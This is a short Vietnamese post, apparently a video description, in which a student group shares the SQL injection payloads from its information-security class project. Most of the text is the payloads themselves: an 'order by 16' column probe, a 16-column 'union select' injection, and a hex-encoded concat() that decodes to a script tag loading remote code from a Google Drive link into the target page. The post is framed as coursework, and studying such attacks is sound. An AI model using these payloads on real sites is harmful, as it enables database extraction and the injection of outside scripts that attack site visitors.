Nhóm mình đã làm đồ án trong môn Bảo Mật Thông Tin với chủ đề Demo 3 cuộc tấn công và phòng thủ Web, và nhóm chúng mình đã chọn SQL Injection là 1 trong 3 cuộc tấn công đó, hy vọng video này có thể giúp ích được cho các bạn có đồ án tương tự hoặc cần tìm hiểu thêm về chủ đề này. Mình xin chia sẽ đoạn sẽ đoạn script để chèn vào link tấn công như sau:
%20order%20by%2016

+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20--+-

concat((0x3C736372697074207372633D2268747470733A2F2F64726976652E676F6F676C652E636F6D2F75633F69643D314D574C3133336B7063727630456664704F62554D655A424D6171356F7A346565223E3C2F7363726970743E))

свернуть